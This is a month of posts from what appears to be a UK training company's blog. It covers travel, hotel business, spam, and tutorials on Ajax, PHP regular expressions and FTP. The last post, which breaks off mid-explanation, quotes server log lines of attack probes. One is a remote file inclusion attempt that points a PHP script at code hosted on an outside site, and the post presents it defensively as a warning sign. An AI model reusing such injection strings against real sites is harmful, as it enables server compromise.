Horse's Mouth

« August 2008 | Main | October 2008 »

September 30, 2008

Marc Schneider is still having email trouble

From my email box this morning ...

Did you receive the e-mail which I sent to you recently (copied here-below)? Please confirm since I have had problems lately with emails intercepted by spam-filters set too high.   Cordially,   Marc Schneider, Ph.D.

The email looks vaguely familiar, and I see from my history that Marc thinks he has been having email problems for nearly a year now. Indeed, I wrote to him on 27th November of last year as follows:

Marc, email filters which intercept your email are working correctly, as it is unsolicited bulk email cleverly tailored to appear to be personalised. The fact that we didn't respond means that we are not interested.   Your spam and insistence costs us time and money to deal with. Please telephone in with your credit card details so that we can make a ten pound charge for our wasted time. Our number is in my signature.   Graham

And - 10 months later - I have yet to receive his call ;-)

Although as a policy (almost as a zealous policy!) we do NOT buy from people who send bulk, unsolicited emails, there are times that I do read them occasionally, and some of the things they point to. Some of the telephony ideas we have followed up in the past have come as a result of emails which happen to have alerted us to services of a type we didn't know existed ... and we now make good use of through competitors - but ones who would distance themselves from the spammers. Our Freephone (0800 043 8225), diverted via the Internet, is perhaps the best example - UK customers can reach us at no charge to them (and not much to us!) 24 x 7, with the phone diversion controlled by us on a web page when we're out of the office.

Much of the text on Marc's site - pointing out that blogging, plenty of one way and reciprocal links, and presence building, Google Maps and the like, Forums, Directory submissions, published signatures, press releases to on line magazines, etc - is correct in its direction and each idea worth reviewing for your site. His suggestion that we hire a gopher of his at $3500 per month (one month minimum) to irritate the heck out of other webmasters and build up a presence is something we can well do without though.

Interestingly, if you serach for "Marc Schneider" on Google, his site doesn't appear on the first page - which tells you something about his techniques, I suspect!

Posted by gje at 07:35 AM | Comments (0)

More about Graham Ellis of Well House Consultants

September 29, 2008

Holt on holt

First sequence: herring mackerel plaice perch whelk shark tuna whiting haddock cod sole

Second sequence: pillau dhansak bhuna biryani nan curry ceylon pathia vindaloo madras

Third sequence: sunday monday tuesday wednesday thursday friday saturday thyme parsley tormentil tansy

Fourth sequence: avebury box corsham devizes easterton frome grafton holt iford trowbridge chippenham swindon

Have I got you guessing? These are the names of the various generations of computers I have used for Unix and Linux training over the years. For each generation, we've used a sequence of names that relate to each other, and are not the names of people (get too confused with user accounts on an admin course!). The "fish" machines were in the First Alternative days, then we had the Indian Cuisine, days of the week [Linux] and herbs [Windows] and now the local places.

A memorable course I gave in 1998 (or so) to a company in Swindon ... and I had Ms Herring and Mr Whiting on my course, and machines with their names also on the course. Bit of an co-incidence. And hadn't happened again in years.

"What's the name of your machine" I asked my delegates this morning to find out who was who on the network. "I don't know" says one delegate "but it's got my name on this one. How did you know I would choose this seat". It turns out that Richard Holt [name published with permission] is seated at holt ... and I find it a second curiosity that he's also with a Swindon based company.

Posted by gje at 07:06 PM | Comments (0)

September 28, 2008

Hotel Guest Surveys

I have just completed a survey for the hotel we stayed at in Carlisle, Pennsylvania, during our recent trip. Now - high marks to them for sending follow up guest review emails (which is something we really should start doing, but they rather blew it with the inevitable select box that didn't have a UK option ... "where did you last stay in a hotel prior to ours" they asked. And the options included the USA and Canada and the Caribbean ... not a mention of the UK, Europe, nor even an "elsewhere" box or a box where I could say it was Cambridge, England!

There were some aspects at the hotel that made it somewhat less that perfect, and I thought hard before I completed my allotted 256 characters on the review (why do people impose such tight limits these days?) ... whether I should say something, or simply let it be as we had not raised issues at the time, even though we nearly plead with our customers to let them know if there are any issues. I guess we were put off by the fact that the first negative was the "Couldn't care less" attitude of the lady on reception, who gave us the feeling that she would much rather have been in an empty hotel than one that had those nuisances called customers - so we put up with the stale tobacco smell (in a state where smoking is banned!), the tired décor (clearly, our room was next in line for a refurbishment that was being trumpeted on signs at reception) and an Internet service that did not meet the "high speed" description that was applied to it.

The form says "would you like a representative to contact you" and, again after thought, I selected the "yes" box. If they're responsive, they'll note that my previous hotel stay was very shortly before the Carlisle trip, and that I spend a LOT of nights in hotels, and want to get in touch. But I'm not holding my breath; it will be interesting to see if and how it's followed up, and I'll learn from the 'boot being on the other foot' - seeing how they handle it.

Illustration - the work desk at the Comfort Suite in Carlisle, with "his" and "hers" computers. Who do you think was using which?

Posted by gje at 02:47 PM | Comments (0)

Javascript/HTML example, dynamic server monitor

There are times I want to keep an eye on our servers, but I don't really want to redraw my whole browser window (or even a frame!) to do it. So I've written a Javascript application to run in my browser (source code here) that calls up a tiny piece of PHP on the server (source code here) and replaces just the changing part of the page every 10 seconds.

This is a screen capture of the changing part of the display - which has been kept small to make it very smooth indeed, and as the page is primarily for staff use there's no need to provide long descriptions within the table. You can try it out here, and I have added some static examples and descriptions to help you along if you're looking to do something similar.

If you would like to do something like this yourself, but aren't sure of the PHP - have a look at our PHP course. If you're happy with PHP basics, but aren't sure of how to apply techniques in examples like this, our PHP Techniques Workshop can help. If you need to learn Javascript - please email me and I'm sure I can help ;-) by providing some training for you.

Posted by gje at 12:08 PM | Comments (0)

Useful link: Java training

Ajax - going Asyncronous and what it means

This is the second part of an "easy Ajax" series - for the first installment [link here].

In the first installment, I showed you a "bare bones" example in which Javascript on a browser called up a web service to change information being displayed dynmaically - but I couldn't reall call it Ajax (more "Jax") as it wasn't asyncronous. So

• What does "Asyncronous" mean in this context?

• What is the advantage of using "Asyncronous"?

• How do we achieve it?

What does "Asyncronous" mean in this context?

It means that the request for data to be supplied by the web service is made, but then the browser gets on with other activities rather than waiting for the response which could - in some cases - take a few seconds to arrive if it involves a complex SQL query or a lot of information being transferred.

What is the advantage of using "Asyncronous"?

It means that the user can continue to complete forms and interact with the display in his browser without it appearing to lock up while a response from the server is awaited, and it means that several requests can be active at the same time.

How do we achieve it?

We change the flag on the XMLHttpRequest object's open method to true to indicate that we want to have the send method return to us right away rather than awaiting completion:

rqo.open('GET',qry,true);
rqo.send(null);

We add in an extra assignment - setting the XMLHttpRequest object's onreadystatechange method to indicate a callback to a function:

rqo.onreadystatechange = handlelang;

And finally, we supply that callback function:

function handlelang() {
document.getElementById("result").innerHTML =
    rqo.responseText + " (via Ajax)";
}

IF you are using a compliant browser, that should be all the changes you have to make to yesterday's example; the complete source code is available [here], the web service source - unchanged from yesterday's example - [here] and you can run the code [here].

But you note I said "IF" - and it's a big if! Unfortunately, there are browser specific issues involved with most Javascript applications, and although the code I have given you will work, and work well, on most modern Mozilla based browsers such as Firefox (and Safari and Iceweasel and so on), it will NOT work on Internet Explorer, nor on older browsers, nor on browsers where the user has elected to turn Javascript off. And we haven't worked out what we should do if the web service isn't available when we want it either!

We can fix the big issue of Microsoft's Internet Explorer, by sensing which browser we're using and adding in conditional code that uses their alternative objects ... but that going to obfurscate the code, and is something I'll come back to in my third posting in this series, where I'll also look at the return status from the request so that we can deal with slow (or stopped or gone away) servers cleanly.

Posted by gje at 08:09 AM | Comments (0)

September 27, 2008

Starting Ajax - easy example of browser calling up server data

Ajax (Asynchronous Javascript and XML) provides a very neat way for a web page that's displayed on a browser to interact with a web server and replace just part of the page content without the need to reload the whole HTML document or Frame.

It works like this:

1. The original document called up from the server include Javascript which diverts changes to form elements to a local Javascript function

2. The local Javascript function creates an appropriate XMLHttpRequest object, which it sends off to the server.

3. When the response from the server comes back, an event handler at the browser (more Javascript) reads it, and uses it to amend the HTML of the web page.

Ajax isn't really a technology in its own right - rather, it's the combination of a number of other technologies which you'll need to get to grips with to understand how it works. In spare moments over the last 10 days, I've been reading in to and experimenting with Ajax, and I've found that all the examples are over complex as starters - so I've written my own. The complete example is published:
HERE for the web page (.html with Javascript added) sent to the browser and
HERE for the code the runs on the server to provide the web service.
You can try it out here

I have tried - SO hard - to keep this example simple, and complete in just the two files of source I have provided links to above. Here are explanations of some of the more critical bits:

Firstly, the code for the select option menu which triggers the Javascript:

<select onChange="aboutlang(this)">
<option value="None">------</option>
<option value="Perl">Perl</option>
<option value="PHP">PHP</option>
<option value="Python">Python</option>
</select>

Here is some of the Javascript that it triggers (with extra comments added):

function aboutlang(current) {
// Get the value that has just been selected
var lang = current.options[current.selectedIndex].value;
// Make up a request to send to the server
var rqo = new XMLHttpRequest();
// Add in the value that has been entered to the URL
var qs = encodeURIComponent(lang);
var qry = "ajaxcode.php?towhich=" + qs;
// Send the request, saying you want to wait for it to complete
// before carrying on
rqo.open('GET',qry,false);
rqo.send(null);
// Take the entire response, and replace the element that's called
// "result" in your HTML with whatever you got back
document.getElementById("result").innerHTML = rqo.responseText;
// Tell the browser that it has no further actions
return false;
}

The PHP - to run on the server - takes the parameter that's passed in to it and generates a snippet of HTML (in this example):

<?php
$responses = array(
  "Perl" => "Perl was written by Larry Wall",
  "PHP" => "Rasmus Lerdorf wrote PHP",
  "Python" => "From Guido van Rossum came Python");
$send = $responses[$_REQUEST[towhich]];
if ($send == "") {
  $send = " --- No information available --- ";
  }
$send = "Data retrieved from server at ".date("H:i:s").
  " server time<br /><br />"."<b>$send</b>";
print ($send);
?>

Illustration - the page as initially loaded

Technically, my example isn't really Ajax - it's not asynchronous in that it waits for the server before completing the function at the browser. It's a little more complex, requiring a further function and more logic to handle the events / callbacks of going asynchronous, so that will be lesson 2 rather than lesson one. And also, you could point out to me that I'm not actually sending XML back from the PHP script, but rather just plain ole HTML. Yes - again, that can wait for lesson 2. The example above works on compliant browsers - lesson 3 will tell you how to 'fix' your Javascript to recognise browsers that behave in a somewhat different manner ... for the meantime, I'm going to use the dreadful works "this example is best viewed on Firefox ;-) "

Illustration - the page as amended after a server request

Using Ajax (with PHP on the server side) is covered on our PHP techniques Workshop - a two day course that runs every 8 to 12 weeks, and helps you make the very best of your PHP. If you're interested in learning other aspect of Javascript, please email me graham@wellho.net.

See [here] for the second lesson in this series, where I explain what "Asyncronous" means, why you'll want to use it, and how to implement it in Ajax.

Posted by gje at 02:21 PM | Comments (0)

Alternative URLs using % symbol encoding

Did you know that you can replace a character in a URL with the equivalent hex code - i.e. you can URL encode it? For example:
http://www.geocities.com/pem20165/wodph158%41shburnStation.html
and
http://www.geocities.com/pem20165/wodph158AshburnStation.html

both point to the SAME page, as %41 is the URL encoding for capital A!

You may wonder why on earth you might use a facility such as this!. Firstly, and regrettably, it's often used with bad intent to obfuscate URLs - remove key words that would be spam trapped. But my requirement was slightly different - our Wiki (which you can see through our share pages - for example this page I put up this morning) identifies a sequence of Capital-lower case - capital as being a link. Which I did not want to appear within the links quoted above, so I simply rewrote them using the alternative encoded notation.

Posted by gje at 11:16 AM | Comments (0)

September 26, 2008

Middle aged subsidise young and old

On one hand, a society should look after its young and old and give them preferential treatment - but on the other hand it's quite galling at times to feel in that expensive middle age when I am subsidising the extremes!

Why these thoughts today? Because, before we left the USA yesterday I spotted an offer in the International House of Pancakes that reminded me that I'll be on the slippery freebie slope very soon - had we visited this time next year, I would have been able to claim a free entrée for Lisa, mid afternoon (or any other person I dragged in there, but it's so much fun with Lisa!)

Researching this while I get over my jet-lag today (decent technical article tomorrow ;-) ) and I've come up with this listing showing how things get more expensive up your 26th Birthday ... then start to get cheaper again in your 50s. This list is all UK data, with the exception of the iHop which triggered it.

Free train travel ... up to 5th birthday
Free school milk (if on support payments) ... up to 7 years
Half price train travel ... up to 16th birthday
Free Dental treatment ... up to 18th Birthday
Young Person's Railcard ... up to 26th birthday

Saga Holidays ... 50+ years
iHop's Senior Meal Offer ... 55+ years
Bus Pass ... 60+ years
Old Age Pension ... 65+ years
Free TV License ... 75+ years
Higher Winter Fuel payments ... 80+ years
Telegram from the Queen ... 100 years

Knowing how most of our delegates are far, far younger that I am, I look forward (with a considerable feeling of guilt, I must admit) to being subsidised by you all in a few years time.

Posted by gje at 06:44 PM | Comments (0)

September 25, 2008

Coming home tonight

Today will be the last in my series of postings from the USA - for we fly back home to the UK tonight out of Dulles International Airport. It has been a good trip - visits with Lisa's Mom, staying with her sister (thanks for putting us up, and putting up with us, Pat), and going to Lisa's high school reunion in Carlisle, Pennsylvania.

Yesterday, it was a lovely autumn day and we took the opportunity to drive a few miles out from our base in Ashburn, Virginia to see Harpers Ferry - a place with a deep historic importance on the Potomac River.

From the "East Coast USA, September 2008" series ... common links

Ashburn, Virginia
Colvin Run Mill, Virginia
Brunswick, Maryland
Class of 73 reunion
Gettyburg, Pennsylvania
Carlisle, Pennsylvania
Chesapeake and Ohio Canal
Harpers Ferry, West Virginia
Potomac River

Flight to the USA
Photographing overhead cables
A Sad town in the sunlight
High School Reunions
Colvin and Carlisle

Posted by gje at 11:54 AM | Comments (0)

September 24, 2008

We love children ... but our hotel is not going to be their scene

"What's your cheapest double room. Can you put a cot in there? How big are your family rooms". Oh dear - we're business accommodation and not a family hotel, and potential guests who are on the phone to us asking these questions wouldn't be happy with us, and would save money staying elsewhere. But how to say in a positive manner - "Look - we cater for the business visitor ...".

I don't expect I'll come up with a good and easy answer ... but I did see these two signs as we were touring around today and both shed some light on the "with little ones" issue.

Top sign - Harper's Ferry, West Virginia. Lower sign - Brunswick Maryland

For business visitors - visitors who want to be able to check in early, have plenty of desk space at which to work, a quiet environment, a healthy breakfast, a large TV to relax in front of, en suite facilities, and internet access - we ARE (well - I hesitate to use the word "cheap") good value. £80.00 per night .. inclusive of unlimited Internet Access, inclusive of breakfast compares very well to a Premier Travel Inn - at 69 pounds, plus 7.50 for the breakfast + 9 for the Internet. And at Well House Manor, you'll not be tripping over other people's children, nor feeling alone in the restaurant when everyone else is taking in their "2 for 1" food deal.

Posted by gje at 10:20 PM | Comments (0)

September 22, 2008

A sad town in the sunlight

Gettysburg, Pennsylvania. Famous in my mind from the phrase "The Gettysburg Address", but not somewhere I had stopped / visited in the past. But yesterday we had an hour or two to stop in the town, to have a look around.

It was at Gettysburg, as recently as early July 1863, that a bloody battle in the American Civil War was fought. And around - ALL around - are monuments and interpretation signs telling us of the battles in that area, of bravery - perhaps of foolhardiness - and of the death of hundreds - sometimes thousands - of men in this or that skirmish.

What a sad, thought provoking place. The weather yesterday was hot, the sun was shining, the tourists were brightly dressed and the tour buses were rolling. And the monuments are exquisite, beautifully made, well maintained but - what a sad place.

Abraham Lincoln arrived in town, by train, in November 1863 (just a few months after the battle) and made his speech - his address - too. The full text is on a big banner that runs all around the horseshoe of the Travel Lodge - we noticed it there as we drove out of town - and we wondered at how history has been almost trivialised by the tourism, the shops selling memorabilia, and where you can lunch on "confederate fries"

I know more that I did - but still I feel I know very little. I'm left wondering at the futility of war, especially civil war where brother fights brother. Of the enormous loss of life and ... for what? I really know not.

Further pictures, including some away from the battlefield, are here. And from later in the day, I also offer you some Potomac Crossing Pictures where we crossed from Maryland into Virginia.

Posted by gje at 01:41 AM | Comments (0)

September 21, 2008

Dealing with overhead cables in a photograph

I'm always amazed at the mass of overhead wires that you find in the USA, and what a darned nuisance they are to photographers who want to get a clean picture. Lisa's a past master at painting them out with Photoshop ... but I'm inclined to take pictures in such a way that I lessen their effect in the first place - such as changing my camera angle.

There's a very serious wider question as to whether or not it's acceptable to doctor pictures, and if so to what degree. In the UK, Estate Agents have got themselves into trouble for publishing misleading pictures - even undoctored ones - of properties they are selling, for example taking pictures on the one quiet day of the year, or waiting for the gasholder behind a house to be empty and down before taking the picture.

My view? Look at why the picture is being published and let that be the guide as to how much you can or should doctor it. If it's just a "record" picture that few people will look at, don't bother. If it's a record picture that a lot of people may look at, then I'll crop it and sharpen it - perhaps rotating it a bit - but little more.

I include "Where's this" type competitions - such as pictures I sometimes put up on the Rail Forums in my record picture category - though I may permit myself the extra edit of painting out a name board. And I WILL blank out faces and car registrations for privacy purposes if I have to.

Beyond the "record shot" - pictures published to make a point and making no pretence of reality - then any thing's fair game. The image that illustrates this item? Why - that's far from original as I have gone out of my way to emphasise the cables. But - even here - I don't feel that it would have been right for me to add in extra wires (besides - there are already plenty of them!)

Posted by gje at 04:02 PM | Comments (0)

Carlisle High School - Class of 1973 Reunion

Saturday, 20th September 2008 - at the Expo Centre, K Street, Carlisle, PA

Oh goodness - I'm not one for the formal pictures! Let me tell you a little bit about the event and then you can go to http://www.wellho.net/share/reunion.html to see a set of candid letterbox pictures. And do keep visiting http://www.chs73.info/ for the official site ;-)

The event was held at the Expo centre in Carlisle, PA ... but it's the people and not the place that make the event. The American High School reunion is something quite outside my UK experience, with this group of 50+ year olds meeting up some 35 years after they have left the school. They travelled long distance to get here (though I think our trip from the UK was by far the longest!) ... and they travelled short distances too as some still live just round the corner.

There must have been a hundred people in that room - from company directors to posties, from New York stage actresses to the military, from the fabulously fit ("still runs marathons") to the poorly. Time passes, and some names can now only be there in memory. There are never-marrieds through to thrice marrieds (and I may have missed some even higher tallies), childless to countless-time grandparents. There are all shapes, colours ans sizes. The bearded and the beardless and the haired and the bald. The natural look through the fully manicured to the overdone make-up brigade. The smart suited through the casual to those who look like they rushed out of bed to get here (oops - that last we us as we overslept!)

It's the people who make it. There's the local group who never aspired to get beyond Cumberland County, who haven't got beyond the county, and are utterly contented with their lot. There's the students who have grown into "good old country boys" - perhaps making it though some local business, yet still seeing the North East of the USA as the world - or their world. There's a significant group who moved away from Carlisle, made something of their lives, but have moved back here or near here - and what a huge compliment that is to the town. And there are the high flyers who have come from far and wide to the reunion. Yet everyone gets on, everyone is mixing. Everyone hugging. Have a look at some more of the pictures (HERE - another plug) and see the groups.

Will we be back in September 2013 for the 40 year reunion? As an 'outsider', I could consider it more a duty than a pleasure, yet actually I too would like to meet up with the group again. More will be retired by that time (there are a handful already, especially those who were cradle-snatched by older partners) and sadly some of the faces who were there last night probably won't be with us any more. But an easier pace by that time may give us, too, a little more time to relax and to take in the sights and sounds and people of the town. This article is being posted, the morning after, from the Comfort Suites, downtown Carlisle; we'll be checking out in an hour or two and headed for lunch at one of the old classmate's diners, then south through Gettysburg and back over into Maryland and Virginia and a whole different life. Carlisle did wonders for Lisa; I'm truly delighted to come here and see and share it from time to time.

Posted by gje at 02:32 PM | Comments (0)

September 20, 2008

Colvin and Carlisle

Colvin Run Mill, Fairfax County, Virginia ... just a few yards off the "Leesburg Pike" - Route 7 - the main run from the Washington DC area to Ashburn and on to Leesburg. Pictured in the last couple of days since Lisa and I arrived in the USA.

The mill and millers's house date from around 1809 and 1811, with a large overshot wheel fed by waters from the Difficult Run (yes, that's it's name) via a headrace to a large wooden overshot wheel built of oak in 1970. See more pictures (local link) and more history (external site)

Carlisle, Cumberland County, Pennsylvania. Around three hours from the Washington DC area, this town dates from 1751. In 1794 during the Whiskey Rebellion, the troops of Pennsylvania and New Jersey assembled in Carlisle under the leadership of George Washington. The town was shelled by the Confederates on July 1, 1863 during the Battle of Carlisle (part of the Gettysburg Campaign of the American Civil War.

It is now the home of Dickinson University, and of the U.S. Army War College which caters to high-level military personnel and civilians, preparing them for strategic leadership responsibilities. See more pictures (local link)

Posted by gje at 07:24 PM | Comments (0)

FTP passive mode - a sometimes cure for upload hangs

Are you on the road (as I am today) and having trouble FTPing files up to your server (as I was today)? Symptom - the connection sets up just fine, it's great when you're looking for files, but as soon as you put an upload / download instruction in, it hangs ...

I've switched passive mode off ... that's
passive off
in my standard ftp client, and it's now working fine.

The FTP protocols are quite complex and have a number of options - the setup is designed to get a good throughput even between distant server and client. A traditional "acknowledgement before the next block is sent (TCP) protocol" - would be simpler, but would add a round trip pause at each block acknowledgement, so an extra (UDP) channel is used. And just occasionally, this causes a few issues!

Last night, we swung into Carlisle, PA - not to be confused with Carlisle, England - after dark, and here's a picture taken both to show the type of area that it is (just one photo says a lot) and to show you my tip above in action.

We're in town for Lisa'a 35 year high school reunion ... and a first group met up last night at the new All Star bar on South West Street (which should not be confused with West South Street, which the town also boasts). Link - class site (which Lisa looks after ;-) )

I have been to Carlisle before and it's a lovely and friendly town. Although it's midday in the UK as I write this, it's just 7 a.m. here and we've got a chance to see the place, soak the atmosphere, and for Lisa to relive some of her times today and tomorrow morning. I expect she'll be looking at this picture and saying "that's xxxx" or "look at yyyy" as and when she gets to this article. I myself can already put a few names to faces, but I'm not into the class politics, so I could so easily leave someone out and cause offence. I say with Ben (name changed) last night - married to one of the class and acting rather like a fish out of water (probably how he felt too) and felt very sorry for him; not the world's greatest conversationalist, nor with the ability (or perhaps desire) to set up a two way street and ask questions in return, we eventually hit on the subject of where the economy is going ... and he brightened up considerably as he promoted doom and gloom, and spoke of how he and his wife, now both retired, do important volunteer work providing food for down and out people who would otherwise starve ... in Delaware.

Posted by gje at 12:06 PM | Comments (0)

September 19, 2008

Motorcycles welcome at Well House Manor

I used to ride a motor cycle. I suppose I may have my mid-life crisis at some point and ride another one. And I've got that in common with many of our course delegates; occasionally (sometimes it seems not so occasionally!) one of them will arrive for a course on his bike and in full leathers.

There's an element who are concerned about "bikers" - and indeed some of the riders who drive up and down outside our place are "applying for the organ donor program" as John - who you see in the picture - commented. But they're not really just one of a label - "bikers" - they're people on bikes. You get a clue from little things - the ponytail sticking out, the colour of an ankle that's not covered with a sock, the gesture to other traffic to move in. I'm reminded of how I found that I got something of a clue about the ladies, in their full length, full face covered black robes in Saudi Arabia when I was there two years ago - the manner of walking, and the shoes, gave such a pointer. But I digress ...

"You really enjoy customer service" said Lisa to me yesterday, as we ate at Sweetwater, Virginia, USA and I joked with the wait staff who had offered Lisa coffee and me tea after a meal. "Why tea?" I asked an "oh come on - British Accent" replied the person and we chuckled. I had a coffee and we concluded the meal with yet another smile after a lovely evening. I digress again ....

We took an hour yesterday to travel from Lisa's sister's house ... the 8 miles to Tyson's Corner down the Leesburg Pike. Stop lights here seem to keep you stopped for an age - the 1 minute cycle from the UK seems extended to five, and heavy traffic and road construction multiplied the delay. And it seemed that the road works people hadn't reprogrammed the stop lights, so that the works which allowed a single line through the lights caused the mother of all tailbacks. All around the world, traffic is getting worse, and where it was a pleasure to drive a car in the past, it's now becoming something of a chore much of the time, and a chore that I prefer to replace with an alternative form of transport.

On Wednesday morning, we travelled to Heathrow Airport by coach - for sure, it took us longer, but it was much more relaxed. We got a chance to talk, to see what was going on, to meet if briefly, a number of other people. And we ended up at the airport fresh, and in good time for the anticipated scrum at checkin, queues at security, scramble for a bite to eat before the long walk to the plane, and a cramped 8 hours in conditions that would be considered cruel to sheep, followed by a grilling from an official who's job it is to let only those who meet George Bush's rules into his country.

But actually it wasn't like that at all - yes, this was perhaps the easiest journey ever. Perhaps it's because it was later in the day that there was no checkin scrum. No queue at security either, and they now have it down to a fine art to get people through quickly. Terminal 3 now has a better choice of eateries (without queues too) and a Yo Shushi gave us the chance to select a light set of mini-dishes that set us up well for the flight, with no service-delay and left us good time to get reading materials and electronic gizmos (another day's story) for the flight. A shorter walk to a new gate, and a very comfortable flight - aided (it mush be admitted) by an upgrade to Premium Economy based on frequent flyer points gained after travelling in 'the back' for many years. And on USA arrival? A short immigration line, an officer with a smile, a shuttle to the hire car base sitting at the kerbside, and a hire car that was just 3 spaces from that base when we had done the paperwork, and not at the far end of the lot.

Where am I rambling? I'm rambling in the land where travel is changing. I'm saying that we encourage people who are visiting us to come by motor bike, by train, by bus, by coach, by car, by plane. We've had a delegate who was encouraged to see that our "where are we" details include a note of where you can best moor your narrowboat if you're on a course, and we're just a hundred yards off one of the main cycle routes that criss-cross the country. Yes, we do have facilities for your bike under cover. Good large showers to wash off the perspiration of cycling. Rooms with overnight accommodation if you travel a day early, and more relaxed. And we're happy to give you lifts to and from Melksham station, or to arrange a taxi for slightly more distant public transport connections. And - having said all that - we've also got plenty of free parking for our delegates and guests for whom the car remains the best and most practical way of reaching us.

Posted by gje at 11:03 AM | Comments (0)

September 18, 2008

Will your backups work if you have to restore them?

There are a lot of myths surrounding data backups. Ones says that "the more often you take backup everything, the better it is", but actually that only applies to data that's changing. There is little point in wasting a lot of resources repeatedly backing up the same unchanging builds in /usr/local if you're in a stable web server environment where you web site content and MySQL databases are the critical data, with configuration files such as .htaccess being used for any minor tweaks the server needs on a per-directory basis.

But using a carefully structured backup strategy could lead to you missing out one critical element, so it's best to check out that your backups are good. How to do this?

Yesterday, I had an eight hour airline flight ... and I had with me a Linux / Fedora laptop and a "complete" set of structured backups from which a restore / rebuild of our web site should be possible. What better opportunity to spend a couple of hours (a.k.a. one battery laptop lifetime) checking that my backups really did work?

I'm pleased to report success; in the time I had, I stripped out delegate's builds of Apache httpd, PHP and MySQL from /usr/local, installed a fresh set using the distributions I had with me as part of the backups, restored the specific config files and then the websites including HTML, CGI, Database and ancillary directories from my backups. And (apart from accessing data from other servers such as the European Central Bank - not available in-flight!) it all worked.

A few more pictures

I wasn't the only one working in flight ...

An evening flight, the low sunlight over the wing ...

... and as we flew into the night, cities lay out below us.

Posted by gje at 03:26 PM | Comments (0)

September 17, 2008

Spiders Web

I don't know if we should be proud or embarrassed when our delegates compliment us on our magnificent spiders - but as most of them are in the lush plants that lead up to the front door, I think we'll take it as a compliment.

Here's a lucky picture I got of one of the spiders (the others all have camera shake, are out of focus, or have the spider as a tint spec you can't see!) ... and I'll keep it short for today - it's a travelling day and I'll be largely offline.

Posted by gje at 01:33 AM | Comments (0)

September 16, 2008

Regular Expressions in PHP

Regular Expressions allow you to check if a string of text matches a particular pattern - for example to see if the data that a user has entered into a form looks like a Postcode / zipcode ... and then to extract the vital parts of the string that you're checking into separate variables.

Down the left here, I've written the regular expression to match a British Postcode - this involves describing what a postcode looks like in great detail.

Here are some of the elements:
^ - Starts with
[A-Z] - Capital Letter
[0-9] - Digit
+ - one or more of the previous item
? - previous item is optional
{2} - exactly 2 of the previous item
$ - ends with

The round brackets are known as "capture parentheses" - or in easy English, they're used to indicate which parts of the pattern match against interesting bits of the incoming string that you would like to capture into separate variables when you match.

There are complete books on regular expressions, but this summary to the right shows you the basic types of elements ...

Anchors or "zero width assersions" indicate thinsg like "starts with" and "ends with" so you can match at the beginning, in the middle, at the end of, or a whole string.

Literals match a single character (perhaps modified by a following count) exactly.

Character groups match any one character from a whole group of possibilities (perhaps modified by a following count) exactly.

Counts say how many times the previous element may occur - the default is once.

You can also use (...) to group elements for capture, | which means "or" (a.k.a. alternation) and a few other types.

There are two regular expression engines in PHP - there's the ereg series which are based on POSIX regular expressions, and the preg series which are based on the Perl standard. In easy terms, the preg flavour are shorter to write and more efficient in operation, but harder to understand and maintain.

One of the big questions with Regular Expressions is "are they case sensitive?" By default, yes they are, but you can add an "i" to ignore case - in different places in the syntax depending on if you're using ereg or preg.

If you're matching and capturing, you need to be very careful just which parts of the regular expression engine match which parts of the incoming string, as there can be many alternatives. You should remember that matching always starts as far to the left as it can, and that counts such as "+" always match as MANY characters as possible. If you use counts such as "+?" instead, then you're doing what is called a "sparse" rather than a "greedy" match, and that will match as few characters as possible.

The diagram shows the effect of sparse v greedy on a match to an email address with two @ characters in it. Most of the time, it'll be greedy you want to use ... sparse is useful especially when you're identifying / stripping HTML tags, though.

The boards / notes above come from the PHP Techniques Workshop that I was presenting yesterday ... it's a regular public course and we would welcome YOU on it ;-)

Posted by gje at 07:52 AM | Comments (0)

Useful link: PHP training

September 15, 2008

What does an browser understand? What does an HTML document contain?

What would I expect a browser to understand?

• HTML (To describe how the page is marked up)
• Images - .jpg .gif .png (Photos, diagrams, etc)
• Style Sheets - .css (To set the look and feel)

and probably (but progressively less likely:

• JavaScript (for local helpers such as form validation)
• Flash (Dynamic graphics)
• ActiveX Components (For running code within a sandbox)
• Java Applets (for running code in a restricted area)

What would I expect to find in a file of HTML?

• HTML (Instructions for browser text layout)
• Style (How particular tagged types are to be rendered)
• PHP (Code to be run on the server)
• JavaScript (For running on the browser)
• MySQL (For the PHP to use to access the database)
• English (For the web site visitor to read)

* The PHP and MySQL will only be present in the HTML if you're applying a filter such as PHP to the code

and I would HOPE to find comments in the code / file to tell me how it all works.

I see the top of my first 'board' says "KISS". Although I've described what the user's browser is likely to accept, that's not to say that all user's browsers will accept all possibilities of HTML, Javascript and CSS. In fact with so many different browser types, written by so many different authors, each with their own idea of the specification and extensions we say Keep It Simple, Stupid!

Posted by gje at 03:29 PM | Comments (0)

September 14, 2008

I have been working hard but I do not expect you noticed

I spent all of yesterday working very hard on web site updates - to THIS site - and I don't expect you'll have noticed anything different about it so far today as you browse. Am I depressed about that? No - it's as I intended it to be - but then WHY make changes?

We now have over 10,000 (yes, ten thousand) different URLs here which are searchable. Of course, they're not all individual pages as many of them are Content Managed via the Blog, the Forum, the Wiki, the Library and the Training Examples System. Most content changes are subtle and well hidden, and "look and feel" changes are just a few pixels here and there. But necessary web site development and maintainance, none the less.

Some samples of updates (can you spot what has changed on these pages?) ...
[Link] General Subject Introductions
[Link] Quiz Pages
[Link] Programming questions - try your knowledge
[Link] All about our searches
[Link] A landing page for external links
[Link] Popular searches to bring people to our pages
[Link] Our Library of over 700 books ...
[Link] ... individual books subjects
[Link] ... individual books
[Link] Author list ...
[Link] ... and details of individual authors
[Link] Horse's Mouth Archive pages
[Link] Wiki shared data pages
[Link] Longer Technical articles in our solution centre
There are even gentle changes on the home page! [Link]

Looking back at my title, I come across rather like Marvin the Paranoid Android from Douglas Adam's HitchHiker's Guide to the Galaxy (with perhaps a bit of Victor Meldrew thrown in!). For sure, this sort of thing is a Herculean task - but it's a necessary one and I get a kind of strange satisfaction from doing it.

Posted by gje at 06:17 PM | Comments (0)

September 13, 2008

libwww-perl and Indy Library in your server logs?

Here are some sample lines from our server logs ... and I don't like the look of them!

from 195.39.5.203 - Moravskoslezsky Kraj, Czech Republic [1000 miles] - libwww-perl/5.805
.net: /resources/recents.html/plugins/safeh...ms_files/images/id.txt???//index ... 16:44:24

from 91.187.115.253 - Vojvodina, Serbia [1295 miles] - Mozilla/3.0 (compatible; Indy Library)
.net: /resources/smap.php?adder=http://www.freewebs.com/atdheu-mc/raw.txt?/exa ... 16:45:17

Records like these - with "Indy Library" or "libwww-perl" in the name of the browser (which is also know as the "User Agent") - are very likely to be attempting to find a security hole in our site scripts, through which they can copy themselves onto our server and then continue to infect other systems, or to use our site to advertise their own by injecting their own URLs. So what are "Indy Library" and "libwww-perl"?

Indy Library usually comes from the Delphi/C++ Builder suite of tools. Someone has written an automated program using the library ...

